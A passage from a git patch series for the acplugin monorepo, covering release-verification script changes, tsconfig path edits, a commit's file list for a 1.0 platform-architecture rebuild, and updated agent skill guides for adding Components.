diff --git a/scripts/verify-release-cohort.mjs b/scripts/verify-release-cohort.mjs deleted file mode 100644 index 03a6e18..0000000 --- a/scripts/verify-release-cohort.mjs +++ /dev/null @@ -1,33 +0,0 @@ -import { readFileSync } from 'node:fs'; -import process from 'node:process'; - -const publicPackages = [ - ['packages/module-hooks/package.json', '@tokenroll/acplugin-module-hooks'], - ['packages/module-mcp/package.json', '@tokenroll/acplugin-module-mcp'], - ['packages/acplugin/package.json', '@tokenroll/acplugin'], -]; - -const manifests = publicPackages.map(([file, expectedName]) => { - const manifest = JSON.parse(readFileSync(file, 'utf8')); - if (manifest.name !== expectedName) - throw new Error(`${file} has unexpected package name ${manifest.name}.`); - if (manifest.private === true) - throw new Error(`${expectedName} must remain publishable.`); - return manifest; -}); - -const versions = new Set(manifests.map(manifest => manifest.version)); -if (versions.size !== 1) - throw new Error('Public package versions are not fixed.'); - -const version = manifests[0].version; -const tag = process.argv[2] ?? process.env.GITHUB_REF_NAME; -if (tag && tag !== `tokenroll-v${version}`) - throw new Error(`Tag ${tag} must equal tokenroll-v${version}.`); - -for (const moduleManifest of manifests.slice(0, 2)) { - if (moduleManifest.peerDependencies?.['@tokenroll/acplugin'] !== 'workspace:^') - throw new Error(`${moduleManifest.name} must use workspace:^ for its acplugin peer.`); -} - -process.stdout.write(`Verified fixed @tokenroll/acplugin ${version} release cohort${tag ? ` for ${tag}` : ''}.\n`); diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index 64eb2e8..bfcfdd1 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -5,12 +5,15 @@ import path from 'node:path'; import process from 'node:process'; import { fileURLToPath, URL } from 'node:url'; +/** 当前 monorepo 根目录。 */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); +/** 必须以统一版本手动发布并共同验证的公开包。 */ const packages = [ { name: '@tokenroll/acplugin-module-hooks' }, { name: '@tokenroll/acplugin-module-mcp' }, { name: '@tokenroll/acplugin' }, ]; +/** 发布 tarball 运行时依赖中绝不能出现的私有工作区包名。 */ const privateNames = new Set([ '@acplugin/core', '@acplugin/compiler-claude-code', @@ -18,14 +21,26 @@ const privateNames = new Set([ '@acplugin/test', ]); +/** + * 运行发布验证所需的子进程,并统一处理捕获输出与非零退出码。 + * + * @param command 可执行命令。 + * @param args 独立参数数组,不经过 Shell 拼接。 + * @param cwd 子进程工作目录。 + * @param options 可选的 stdout/stderr 捕获策略。 + * @returns 子进程成功退出时的输出。 + */ function run(command, args, cwd, options = {}) { return new Promise((resolve, reject) => { + /** 继承当前发布环境的验证子进程。 */ const child = spawn(command, args, { cwd, env: process.env, stdio: options.capture ? ['ignore', 'pipe', 'pipe'] : 'inherit', }); + /** capture 模式下累计的标准输出。 */ let stdout = ''; + /** capture 模式下累计的标准错误。 */ let stderr = ''; if (options.capture) { child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); @@ -41,30 +56,57 @@ function run(command, args, cwd, options = {}) { }); } +/** + * 在无额外测试框架依赖的脚本中执行发布不变量断言。 + * + * @param condition 必须成立的条件。 + * @param message 不变量失败说明。 + */ function assert(condition, message) { if (!condition) throw new Error(message); } +/** + * 打包一个公开工作区包,并精确识别本次新生成的 tarball。 + * + * @param directory 临时 tarball 目录。 + * @param name 公开包名。 + * @returns 新 tarball 的绝对路径。 + */ async function tarballFor(directory, name) { + /** 打包前目录内容,用于排除已有文件。 */ const before = new Set(await fs.readdir(directory)); await run('pnpm', ['--filter', name, 'pack', '--pack-destination', directory], root); + /** 本次命令唯一新建的 tgz 文件。 */ const created = (await fs.readdir(directory)).filter(file => file.endsWith('.tgz') && !before.has(file)); assert(created.length === 1, `Expected one tarball for ${name}, found ${created.length}.`); return path.join(directory, created[0]); } +/** + * 检查 tarball 路径边界、源码泄漏、必需文件和私有依赖泄漏。 + * + * @param tarball 待检查压缩包。 + * @param expectedName 预期 package.json 名称。 + * @param extractRoot 隔离解压根目录。 + * @returns 解压并读取的发布清单。 + */ async function inspectTarball(tarball, expectedName, extractRoot) { + /** tarball 中全部归档条目。 */ const listed = (await run('tar', ['-tzf', tarball], root, { capture: true })).stdout.trim().split('\n').filter(Boolean); assert(listed.every(file => file.startsWith('package/')), `${expectedName} tarball contains an entry outside package/.`); + /** 不允许发布的源码、测试目录或 TypeScript 源文件。 */ const leaked = listed.filter(file => /(?:^|\/)(?:src|test|__tests__)(?:\/|$)/.test(file) || /\.(?:ts|tsx)$/.test(file)); assert(leaked.length === 0, `${expectedName} tarball leaks source/test files: ${leaked.join(', ')}`); assert(listed.includes('package/README.md'), `${expectedName} tarball is missing README.md.`); assert(listed.includes('package/LICENSE'), `${expectedName} tarball is missing LICENSE.`); + /** 当前包独占的安全解压目录。 */ const destination = path.join(extractRoot, expectedName.replace(/[^a-z0-9]+/gi, '-')); await fs.mkdir(destination, { recursive: true }); await run('tar', ['-xzf', tarball, '-C', destination], root); + /** tarball 内实际发布的 package.json。 */ const manifest = JSON.parse(await fs.readFile(path.join(destination, 'package/package.json'), 'utf8')); assert(manifest.name === expectedName, `Packed manifest name mismatch for ${expectedName}.`); for (const field of ['dependencies', 'peerDependencies', 'optionalDependencies']) { @@ -74,9 +116,17 @@ async function inspectTarball(tarball, expectedName, extractRoot) { return manifest; } +/** + * 在完全独立、忽略工作区解析的项目中安装并执行三个 tarball。 + * + * @param tarballs 公开包名到本地 tarball 的映射。 + * @param temporary 当前验证独占临时目录。 + */ async function verifyConsumer(tarballs, temporary) { + /** 模拟真实用户安装环境的干净工程目录。 */ const consumer = path.join(temporary, 'consumer'); await fs.mkdir(path.join(consumer, 'src/skills/hello'), { recursive: true }); + /** 只指向本次打包 tarball 的消费者依赖。 */ const dependencies = Object.fromEntries(packages.map(item => [item.name, `file:${tarballs.get(item.name)}`])); await fs.writeFile(path.join(consumer, 'package.json'), `${JSON.stringify({ name: 'acplugin-packed-consumer', @@ -91,7 +141,7 @@ async function verifyConsumer(tarballs, temporary) { dependencies, devDependencies: { '@types/node': '^20.19.0', - 'typescript': '^5.9.3', + 'typescript': '^7.0.2', }, }, null, 2)}\n`); await fs.writeFile(path.join(consumer, 'tsconfig.json'), `${JSON.stringify({ @@ -126,29 +176,41 @@ Validate that both target packages can be built from installed tarballs. await run('pnpm', ['install', '--ignore-workspace'], consumer); await run('pnpm', ['run', 'typecheck'], consumer); await run('node', ['--input-type=module', '--eval', 'import(\'@tokenroll/acplugin\').then(m => { if (typeof m.defineConfig !== \'function\') process.exit(1) })'], consumer); + /** 安装产物执行 validate 的机器可读结果。 */ const validate = await run('pnpm', ['exec', 'acplugin', 'validate', '--json'], consumer, { capture: true }); assert(JSON.parse(validate.stdout).success === true, 'Packed consumer validation failed.'); + /** 安装产物执行双目标 build 的机器可读结果。 */ const build = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer, { capture: true }); assert(JSON.parse(build.stdout).success === true, 'Packed consumer build failed.'); await fs.access(path.join(consumer, 'dist/claude-code/.claude-plugin/plugin.json')); await fs.access(path.join(consumer, 'dist/codex/.codex-plugin/plugin.json')); } +/** + * 打包公开 Cohort、验证内容与版本关系,并执行干净消费者测试。 + */ async function main() { + /** 无论成功失败默认都会删除的发布验证临时目录。 */ const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-release-verify-')); try { + /** 存放三个新 tarball 的目录。 */ const tarballDirectory = path.join(temporary, 'tarballs'); + /** 各包独立解压和清单检查的根目录。 */ const extractRoot = path.join(temporary, 'extract'); await fs.mkdir(tarballDirectory, { recursive: true }); + /** 公开包名到本次 tarball 的映射。 */ const tarballs = new Map(); + /** 公开包名到 tarball 内实际清单的映射。 */ const manifests = new Map(); for (const item of packages) { const tarball = await tarballFor(tarballDirectory, item.name); tarballs.set(item.name, tarball); manifests.set(item.name, await inspectTarball(tarball, item.name, extractRoot)); } + /** 公开 Cohort 实际打包出的版本集合。 */ const versions = new Set([...manifests.values()].map(manifest => manifest.version)); assert(versions.size === 1, 'The public release cohort must use one version.'); + /** 三个公开包共同使用的唯一版本。 */ const version = [...versions][0]; for (const moduleName of ['@tokenroll/acplugin-module-hooks', '@tokenroll/acplugin-module-mcp']) { const peerRange = manifests.get(moduleName).peerDependencies?.['@tokenroll/acplugin']; diff --git a/tsconfig.base.json b/tsconfig.base.json index 1b73f11..c143285 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -3,14 +3,13 @@ "target": "ES2022", "module": "NodeNext", "moduleResolution": "NodeNext", - "baseUrl": ".", "paths": { - "@acplugin/core": ["packages/core/src/index.ts"], - "@acplugin/compiler-claude-code": ["packages/compiler-claude-code/src/index.ts"], - "@acplugin/compiler-codex": ["packages/compiler-codex/src/index.ts"], - "@tokenroll/acplugin": ["packages/acplugin/src/index.ts"], - "@tokenroll/acplugin-module-hooks": ["packages/module-hooks/src/index.ts"], - "@tokenroll/acplugin-module-mcp": ["packages/module-mcp/src/index.ts"] + "@acplugin/core": ["./packages/core/src/index.ts"], + "@acplugin/compiler-claude-code": ["./packages/compiler-claude-code/src/index.ts"], + "@acplugin/compiler-codex": ["./packages/compiler-codex/src/index.ts"], + "@tokenroll/acplugin": ["./packages/acplugin/src/index.ts"], + "@tokenroll/acplugin-module-hooks": ["./packages/module-hooks/src/index.ts"], + "@tokenroll/acplugin-module-mcp": ["./packages/module-mcp/src/index.ts"] }, "lib": ["ES2022"], "types": ["node"], @@ -21,7 +20,6 @@ "isolatedModules": true, "resolveJsonModule": true, "skipLibCheck": true, - "forceConsistentCasingInFileNames": true, "noEmit": true } } From 6c826924a0b7e9a41df353edb5c1e43f296090be Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:43:57 +0800 Subject: [PATCH 03/27] feat!: rebuild acplugin 1.0 platform architecture --- .agents/skills/add-converter/SKILL.md | 22 +- .agents/skills/add-platform/SKILL.md | 28 +- .agents/skills/npm-publish/SKILL.md | 26 +- .changeset/config.json | 14 +- .changeset/initial-1-0-baseline.md | 4 + .github/workflows/patch.yml | 16 +- AGENTS.md | 69 +- README.md | 113 +- README.zh-CN.md | 107 +- eslint.config.mjs | 2 +- llmdoc/architecture/system.md | 63 +- llmdoc/architecture/system.zh-CN.md | 61 +- llmdoc/guides/commenting.zh-CN.md | 4 +- llmdoc/guides/release.md | 20 +- llmdoc/guides/release.zh-CN.md | 20 +- llmdoc/guides/usage.md | 40 +- llmdoc/guides/usage.zh-CN.md | 42 +- llmdoc/index.md | 4 +- llmdoc/overview/project.md | 16 +- llmdoc/overview/project.zh-CN.md | 16 +- llmdoc/reference/conversion-matrix.md | 75 +- llmdoc/reference/conversion-matrix.zh-CN.md | 71 +- llmdoc/startup.md | 6 +- llmdoc/state/sync.md | 20 +- package.json | 7 +- packages/acplugin/README.md | 57 +- packages/acplugin/package.json | 29 +- packages/acplugin/src/cli.ts | 494 +++++-- packages/acplugin/src/index.ts | 344 ++--- packages/acplugin/src/init.ts | 123 +- packages/acplugin/src/migration/index.ts | 1147 +++++++++++++++-- .../acplugin/src/migration/legacy/github.ts | 2 +- .../src/migration/legacy/scanner/claude.ts | 23 +- .../src/migration/legacy/scanner/plugin.ts | 33 +- .../acplugin/src/migration/legacy/types.ts | 10 +- .../acplugin/src/platforms/antigravity.ts | 2 + .../acplugin/src/platforms/claude-code.ts | 6 + packages/acplugin/src/platforms/codex.ts | 9 + packages/acplugin/src/platforms/cursor.ts | 2 + packages/acplugin/src/platforms/opencode.ts | 2 + packages/acplugin/src/platforms/pi.ts | 2 + packages/acplugin/src/project-config.ts | 211 +++ packages/acplugin/src/run-project.ts | 125 ++ packages/acplugin/test/config-loader.test.ts | 127 ++ packages/acplugin/tsdown.config.ts | 25 +- packages/compiler-claude-code/src/index.ts | 158 --- .../compiler-claude-code/tsdown.config.ts | 13 - packages/compiler-codex/src/index.ts | 218 ---- packages/core/package.json | 15 +- packages/core/src/artifacts.ts | 216 ++-- packages/core/src/builder.ts | 384 ------ packages/core/src/config.ts | 438 ++++--- packages/core/src/contracts.ts | 524 ++++++++ packages/core/src/delivery-units.ts | 112 ++ packages/core/src/diagnostics.ts | 439 ++++++- packages/core/src/documents.ts | 347 +++++ packages/core/src/extensions.ts | 69 - packages/core/src/index.ts | 6 +- packages/core/src/lifecycle.ts | 758 +++++++++++ packages/core/src/output-paths.ts | 91 ++ packages/core/src/reports.ts | 134 ++ packages/core/src/scanner.ts | 545 ++++++-- packages/core/src/transaction.ts | 253 +++- packages/core/src/types.ts | 458 +++---- packages/core/test/artifacts.test.ts | 125 ++ packages/core/test/compatibility.test.ts | 131 ++ packages/core/test/config.test.ts | 182 +++ packages/core/test/contracts.test.ts | 144 +++ packages/core/test/contracts.types.ts | 89 ++ packages/core/test/core.test.ts | 310 ++--- packages/core/test/delivery-units.test.ts | 181 +++ packages/core/test/diagnostics.test.ts | 213 +++ packages/core/test/documents.test.ts | 134 ++ packages/core/test/graph.test.ts | 138 ++ packages/core/test/lifecycle.test.ts | 512 ++++++++ packages/core/test/locking.test.ts | 104 ++ packages/core/test/scanner.test.ts | 319 +++++ packages/core/test/transaction.test.ts | 167 +++ .../hooks}/LICENSE | 0 packages/extensions/hooks/README.md | 83 ++ .../hooks}/package.json | 11 +- packages/extensions/hooks/src/adapters.ts | 714 ++++++++++ packages/extensions/hooks/src/bundler.ts | 253 ++++ packages/extensions/hooks/src/constants.ts | 35 + packages/extensions/hooks/src/discovery.ts | 631 +++++++++ packages/extensions/hooks/src/index.ts | 125 ++ .../hooks/src/runtime-adapter-source.ts | 191 +++ .../extensions/hooks/src/runtime-source.ts | 242 ++++ packages/extensions/hooks/src/types.ts | 294 +++++ packages/extensions/hooks/src/wire-source.ts | 218 ++++ packages/extensions/hooks/test/hooks.test.ts | 824 ++++++++++++ packages/extensions/hooks/test/hooks.types.ts | 58 + .../hooks}/tsconfig.json | 2 +- .../hooks}/tsdown.config.ts | 6 +- .../{module-mcp => extensions/mcp}/LICENSE | 0 packages/extensions/mcp/README.md | 63 + .../mcp}/package.json | 10 +- packages/extensions/mcp/src/adapters.ts | 531 ++++++++ packages/extensions/mcp/src/bundler.ts | 458 +++++++ packages/extensions/mcp/src/constants.ts | 32 + packages/extensions/mcp/src/discovery.ts | 413 ++++++ packages/extensions/mcp/src/index.ts | 122 ++ packages/extensions/mcp/src/types.ts | 103 ++ packages/extensions/mcp/test/mcp.test.ts | 406 ++++++ .../mcp}/tsconfig.json | 2 +- .../mcp}/tsdown.config.ts | 9 +- packages/module-hooks/README.md | 37 - packages/module-hooks/src/index.ts | 704 ---------- packages/module-hooks/tsdown.config.ts | 16 - packages/module-mcp/README.md | 49 - packages/module-mcp/src/index.ts | 538 -------- packages/platforms/antigravity/package.json | 20 + .../platforms/antigravity/src/components.ts | 183 +++ packages/platforms/antigravity/src/index.ts | 56 + .../platforms/antigravity/src/manifest.ts | 105 ++ .../platforms/antigravity/src/validator.ts | 52 + .../antigravity/test/golden/plugin.json | 3 + .../test/golden/plugin.schema.json | 15 + .../antigravity/test/platform.test.ts | 76 ++ .../antigravity}/tsconfig.json | 2 +- .../platforms/antigravity/tsdown.config.ts | 12 + packages/platforms/claude-code/package.json | 20 + .../platforms/claude-code/src/components.ts | 291 +++++ packages/platforms/claude-code/src/index.ts | 85 ++ .../platforms/claude-code/src/manifest.ts | 372 ++++++ packages/platforms/claude-code/src/types.ts | 75 ++ .../platforms/claude-code/src/validator.ts | 678 ++++++++++ .../golden/.claude-plugin/marketplace.json | 34 + .../test/golden/.claude-plugin/plugin.json | 22 + .../test/golden/agents/reviewer.md | 15 + .../test/golden/commands/release.md | 8 + .../test/golden/skills/review/SKILL.md | 12 + .../claude-code/test/platform.test.ts | 554 ++++++++ .../claude-code}/tsconfig.json | 2 +- .../platforms/claude-code/tsdown.config.ts | 12 + packages/platforms/codex/package.json | 32 + packages/platforms/codex/src/components.ts | 378 ++++++ packages/platforms/codex/src/index.ts | 96 ++ packages/platforms/codex/src/manifest.ts | 415 ++++++ packages/platforms/codex/src/protocol.ts | 253 ++++ packages/platforms/codex/src/types.ts | 105 ++ packages/platforms/codex/src/validator.ts | 1036 +++++++++++++++ .../golden/.agents/plugins/marketplace.json | 20 + .../test/golden/.codex-plugin/plugin.json | 34 + .../golden/skills/command-release/SKILL.md | 5 + .../skills/command-release/agents/openai.yaml | 5 + .../codex/test/golden/skills/review/SKILL.md | 5 + .../golden/skills/review/agents/openai.yaml | 8 + .../platforms/codex/test/platform.test.ts | 612 +++++++++ packages/platforms/codex/tsconfig.json | 4 + packages/platforms/codex/tsdown.config.ts | 12 + .../cursor}/package.json | 4 +- packages/platforms/cursor/src/components.ts | 151 +++ packages/platforms/cursor/src/index.ts | 47 + packages/platforms/cursor/src/manifest.ts | 186 +++ packages/platforms/cursor/src/types.ts | 57 + packages/platforms/cursor/src/validator.ts | 164 +++ .../test/golden/.cursor-plugin/plugin.json | 30 + .../cursor/test/golden/plugin.schema.json | 181 +++ .../platforms/cursor/test/platform.test.ts | 117 ++ packages/platforms/cursor/tsconfig.json | 4 + packages/platforms/cursor/tsdown.config.ts | 12 + packages/platforms/opencode/package.json | 20 + packages/platforms/opencode/src/components.ts | 165 +++ .../platforms/opencode/src/config-document.ts | 110 ++ packages/platforms/opencode/src/index.ts | 47 + packages/platforms/opencode/src/types.ts | 13 + packages/platforms/opencode/src/validator.ts | 65 + .../opencode/test/golden/opencode.json | 3 + .../platforms/opencode/test/platform.test.ts | 97 ++ packages/platforms/opencode/tsconfig.json | 4 + packages/platforms/opencode/tsdown.config.ts | 12 + .../pi}/package.json | 4 +- packages/platforms/pi/src/components.ts | 189 +++ packages/platforms/pi/src/index.ts | 54 + packages/platforms/pi/src/manifest.ts | 153 +++ packages/platforms/pi/src/types.ts | 15 + packages/platforms/pi/src/validator.ts | 115 ++ packages/platforms/pi/test/platform.test.ts | 113 ++ packages/platforms/pi/tsconfig.json | 4 + packages/platforms/pi/tsdown.config.ts | 12 + packages/test/package.json | 10 +- packages/test/test/architecture.test.ts | 133 ++ packages/test/test/build.test.ts | 86 +- packages/test/test/claude-code.test.ts | 79 ++ packages/test/test/cli.test.ts | 579 ++++++++- packages/test/test/codex.test.ts | 78 ++ packages/test/test/ecosystem-contract.test.ts | 145 +++ packages/test/test/extension-api.types.ts | 25 + packages/test/test/hooks.test.ts | 92 ++ packages/test/test/init.test.ts | 42 +- packages/test/test/legacy-api.types.ts | 10 + packages/test/test/migration.test.ts | 351 ++++- packages/test/test/modules.test.ts | 228 ---- packages/test/test/package-boundaries.test.ts | 150 +++ packages/test/test/public-api.types.ts | 61 + packages/test/test/repository.test.ts | 19 +- .../test/test/secondary-platforms.test.ts | 309 +++++ packages/test/test/workspace-layout.test.ts | 99 ++ packages/test/vitest.config.ts | 9 +- pnpm-lock.yaml | 378 ++++-- pnpm-workspace.yaml | 6 +- scripts/check-comments.mjs | 42 +- scripts/comment-coverage.json | 112 +- scripts/verify-release.mjs | 168 ++- tsconfig.base.json | 18 +- 206 files changed, 25468 insertions(+), 4379 deletions(-) create mode 100644 .changeset/initial-1-0-baseline.md create mode 100644 packages/acplugin/src/platforms/antigravity.ts create mode 100644 packages/acplugin/src/platforms/claude-code.ts create mode 100644 packages/acplugin/src/platforms/codex.ts create mode 100644 packages/acplugin/src/platforms/cursor.ts create mode 100644 packages/acplugin/src/platforms/opencode.ts create mode 100644 packages/acplugin/src/platforms/pi.ts create mode 100644 packages/acplugin/src/project-config.ts create mode 100644 packages/acplugin/src/run-project.ts create mode 100644 packages/acplugin/test/config-loader.test.ts delete mode 100644 packages/compiler-claude-code/src/index.ts delete mode 100644 packages/compiler-claude-code/tsdown.config.ts delete mode 100644 packages/compiler-codex/src/index.ts delete mode 100644 packages/core/src/builder.ts create mode 100644 packages/core/src/contracts.ts create mode 100644 packages/core/src/delivery-units.ts create mode 100644 packages/core/src/documents.ts delete mode 100644 packages/core/src/extensions.ts create mode 100644 packages/core/src/lifecycle.ts create mode 100644 packages/core/src/output-paths.ts create mode 100644 packages/core/src/reports.ts create mode 100644 packages/core/test/artifacts.test.ts create mode 100644 packages/core/test/compatibility.test.ts create mode 100644 packages/core/test/config.test.ts create mode 100644 packages/core/test/contracts.test.ts create mode 100644 packages/core/test/contracts.types.ts create mode 100644 packages/core/test/delivery-units.test.ts create mode 100644 packages/core/test/diagnostics.test.ts create mode 100644 packages/core/test/documents.test.ts create mode 100644 packages/core/test/graph.test.ts create mode 100644 packages/core/test/lifecycle.test.ts create mode 100644 packages/core/test/locking.test.ts create mode 100644 packages/core/test/scanner.test.ts create mode 100644 packages/core/test/transaction.test.ts rename packages/{module-hooks => extensions/hooks}/LICENSE (100%) create mode 100644 packages/extensions/hooks/README.md rename packages/{module-hooks => extensions/hooks}/package.json (60%) create mode 100644 packages/extensions/hooks/src/adapters.ts create mode 100644 packages/extensions/hooks/src/bundler.ts create mode 100644 packages/extensions/hooks/src/constants.ts create mode 100644 packages/extensions/hooks/src/discovery.ts create mode 100644 packages/extensions/hooks/src/index.ts create mode 100644 packages/extensions/hooks/src/runtime-adapter-source.ts create mode 100644 packages/extensions/hooks/src/runtime-source.ts create mode 100644 packages/extensions/hooks/src/types.ts create mode 100644 packages/extensions/hooks/src/wire-source.ts create mode 100644 packages/extensions/hooks/test/hooks.test.ts create mode 100644 packages/extensions/hooks/test/hooks.types.ts rename packages/{compiler-codex => extensions/hooks}/tsconfig.json (52%) rename packages/{compiler-codex => extensions/hooks}/tsdown.config.ts (50%) rename packages/{module-mcp => extensions/mcp}/LICENSE (100%) create mode 100644 packages/extensions/mcp/README.md rename packages/{module-mcp => extensions/mcp}/package.json (72%) create mode 100644 packages/extensions/mcp/src/adapters.ts create mode 100644 packages/extensions/mcp/src/bundler.ts create mode 100644 packages/extensions/mcp/src/constants.ts create mode 100644 packages/extensions/mcp/src/discovery.ts create mode 100644 packages/extensions/mcp/src/index.ts create mode 100644 packages/extensions/mcp/src/types.ts create mode 100644 packages/extensions/mcp/test/mcp.test.ts rename packages/{module-hooks => extensions/mcp}/tsconfig.json (52%) rename packages/{module-mcp => extensions/mcp}/tsdown.config.ts (55%) delete mode 100644 packages/module-hooks/README.md delete mode 100644 packages/module-hooks/src/index.ts delete mode 100644 packages/module-hooks/tsdown.config.ts delete mode 100644 packages/module-mcp/README.md delete mode 100644 packages/module-mcp/src/index.ts create mode 100644 packages/platforms/antigravity/package.json create mode 100644 packages/platforms/antigravity/src/components.ts create mode 100644 packages/platforms/antigravity/src/index.ts create mode 100644 packages/platforms/antigravity/src/manifest.ts create mode 100644 packages/platforms/antigravity/src/validator.ts create mode 100644 packages/platforms/antigravity/test/golden/plugin.json create mode 100644 packages/platforms/antigravity/test/golden/plugin.schema.json create mode 100644 packages/platforms/antigravity/test/platform.test.ts rename packages/{compiler-claude-code => platforms/antigravity}/tsconfig.json (52%) create mode 100644 packages/platforms/antigravity/tsdown.config.ts create mode 100644 packages/platforms/claude-code/package.json create mode 100644 packages/platforms/claude-code/src/components.ts create mode 100644 packages/platforms/claude-code/src/index.ts create mode 100644 packages/platforms/claude-code/src/manifest.ts create mode 100644 packages/platforms/claude-code/src/types.ts create mode 100644 packages/platforms/claude-code/src/validator.ts create mode 100644 packages/platforms/claude-code/test/golden/.claude-plugin/marketplace.json create mode 100644 packages/platforms/claude-code/test/golden/.claude-plugin/plugin.json create mode 100644 packages/platforms/claude-code/test/golden/agents/reviewer.md create mode 100644 packages/platforms/claude-code/test/golden/commands/release.md create mode 100644 packages/platforms/claude-code/test/golden/skills/review/SKILL.md create mode 100644 packages/platforms/claude-code/test/platform.test.ts rename packages/{module-mcp => platforms/claude-code}/tsconfig.json (52%) create mode 100644 packages/platforms/claude-code/tsdown.config.ts create mode 100644 packages/platforms/codex/package.json create mode 100644 packages/platforms/codex/src/components.ts create mode 100644 packages/platforms/codex/src/index.ts create mode 100644 packages/platforms/codex/src/manifest.ts create mode 100644 packages/platforms/codex/src/protocol.ts create mode 100644 packages/platforms/codex/src/types.ts create mode 100644 packages/platforms/codex/src/validator.ts create mode 100644 packages/platforms/codex/test/golden/.agents/plugins/marketplace.json create mode 100644 packages/platforms/codex/test/golden/.codex-plugin/plugin.json create mode 100644 packages/platforms/codex/test/golden/skills/command-release/SKILL.md create mode 100644 packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml create mode 100644 packages/platforms/codex/test/golden/skills/review/SKILL.md create mode 100644 packages/platforms/codex/test/golden/skills/review/agents/openai.yaml create mode 100644 packages/platforms/codex/test/platform.test.ts create mode 100644 packages/platforms/codex/tsconfig.json create mode 100644 packages/platforms/codex/tsdown.config.ts rename packages/{compiler-claude-code => platforms/cursor}/package.json (86%) create mode 100644 packages/platforms/cursor/src/components.ts create mode 100644 packages/platforms/cursor/src/index.ts create mode 100644 packages/platforms/cursor/src/manifest.ts create mode 100644 packages/platforms/cursor/src/types.ts create mode 100644 packages/platforms/cursor/src/validator.ts create mode 100644 packages/platforms/cursor/test/golden/.cursor-plugin/plugin.json create mode 100644 packages/platforms/cursor/test/golden/plugin.schema.json create mode 100644 packages/platforms/cursor/test/platform.test.ts create mode 100644 packages/platforms/cursor/tsconfig.json create mode 100644 packages/platforms/cursor/tsdown.config.ts create mode 100644 packages/platforms/opencode/package.json create mode 100644 packages/platforms/opencode/src/components.ts create mode 100644 packages/platforms/opencode/src/config-document.ts create mode 100644 packages/platforms/opencode/src/index.ts create mode 100644 packages/platforms/opencode/src/types.ts create mode 100644 packages/platforms/opencode/src/validator.ts create mode 100644 packages/platforms/opencode/test/golden/opencode.json create mode 100644 packages/platforms/opencode/test/platform.test.ts create mode 100644 packages/platforms/opencode/tsconfig.json create mode 100644 packages/platforms/opencode/tsdown.config.ts rename packages/{compiler-codex => platforms/pi}/package.json (86%) create mode 100644 packages/platforms/pi/src/components.ts create mode 100644 packages/platforms/pi/src/index.ts create mode 100644 packages/platforms/pi/src/manifest.ts create mode 100644 packages/platforms/pi/src/types.ts create mode 100644 packages/platforms/pi/src/validator.ts create mode 100644 packages/platforms/pi/test/platform.test.ts create mode 100644 packages/platforms/pi/tsconfig.json create mode 100644 packages/platforms/pi/tsdown.config.ts create mode 100644 packages/test/test/architecture.test.ts create mode 100644 packages/test/test/claude-code.test.ts create mode 100644 packages/test/test/codex.test.ts create mode 100644 packages/test/test/ecosystem-contract.test.ts create mode 100644 packages/test/test/extension-api.types.ts create mode 100644 packages/test/test/hooks.test.ts create mode 100644 packages/test/test/legacy-api.types.ts delete mode 100644 packages/test/test/modules.test.ts create mode 100644 packages/test/test/package-boundaries.test.ts create mode 100644 packages/test/test/public-api.types.ts create mode 100644 packages/test/test/secondary-platforms.test.ts create mode 100644 packages/test/test/workspace-layout.test.ts diff --git a/.agents/skills/add-converter/SKILL.md b/.agents/skills/add-converter/SKILL.md index 6a1568f..ec1bd32 100644 --- a/.agents/skills/add-converter/SKILL.md +++ b/.agents/skills/add-converter/SKILL.md @@ -1,20 +1,18 @@ --- name: add-converter -description: Add or change a canonical acplugin Component and its built-in Claude Code/Codex compilation, including schema, scanning, compatibility, Artifact output, and tests. Use when adding a new authoring resource or changing how Commands, Skills, or Agents compile. +description: Add or change a canonical acplugin Component and its built-in Platform compilation, including schema, scanning, compatibility, Artifact output, and tests. Use when adding a new authoring resource or changing how Commands, Skills, or Agents compile. --- # Add a canonical Component -1. Decide whether the feature belongs in Core. Cross-platform authoring concepts may become Components; optional or platform-specific capabilities should usually be Modules. Do not add Instructions as a Component. -2. Add canonical and resolved contracts in `packages/core/src/types.ts`. Keep target wire fields out of canonical types; use semantic fields plus explicit `extensions` only when required. -3. Update `packages/core/src/scanner.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Scanner returns normalized data and diagnostics, never target files. -4. Update both private Compilers: - - `packages/compiler-claude-code/src/index.ts` - - `packages/compiler-codex/src/index.ts` -5. For every target, declare `native`, `transform`, `degraded`, or `unsupported`. Strict mode must fail on degraded/unsupported; relaxed mode must emit the explicit result and warning. -6. Generate only `ArtifactInput` values. Compilers own reserved Manifest fields and final serialization; no direct filesystem writes. -7. Add Core schema/graph tests and private cross-package golden/strictness/collision tests under `packages/core/test/` and `packages/test/test/`. -8. Update README compatibility tables, `AGENTS.md`, and the affected `llmdoc/` reference. +1. Decide whether the feature belongs in Core. Only cross-platform authoring concepts may become Components; optional horizontal capabilities belong in Extensions. Do not add Instructions as a Component. +2. Add canonical and resolved contracts in `packages/core/src/types.ts`. Keep Platform wire fields out of canonical types; use semantic fields and Platform-owned `platforms` metadata only where a verified capability requires it. +3. Update `packages/core/src/scanner.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Scanner returns normalized data and diagnostics, never Platform files. +4. Update every built-in Platform owner under `packages/platforms//`. Each Platform decides its own native representation or explicit transformation and owns its Manifest, output paths, serialization, and candidate validation. +5. For every Platform, report `native`, `transform`, `degraded`, or `unsupported`. Strict mode must fail on degraded/unsupported; relaxed mode must emit the explicit result and warning. +6. Generate only `ArtifactInput` values through the fixed Core lifecycle. Platform packages and Extensions write only their provided work directory and never write `dist` directly. +7. Add Core schema/graph tests, per-Platform golden/schema tests, and cross-package strictness/collision tests under `packages/core/test/`, `packages/platforms//test/`, and `packages/test/test/`. +8. Update the six-Platform compatibility tables, `AGENTS.md`, package README files, and the affected `llmdoc/` references. Run: @@ -25,4 +23,4 @@ pnpm run test pnpm run build ``` -Preserve deterministic path ordering, stable diagnostics, transactional all-target behavior, and private package bundling boundaries. +Preserve deterministic path ordering, stable diagnostics, transactional all-Platform behavior, and private Platform package bundling boundaries. diff --git a/.agents/skills/add-platform/SKILL.md b/.agents/skills/add-platform/SKILL.md index 4998093..fc7210d 100644 --- a/.agents/skills/add-platform/SKILL.md +++ 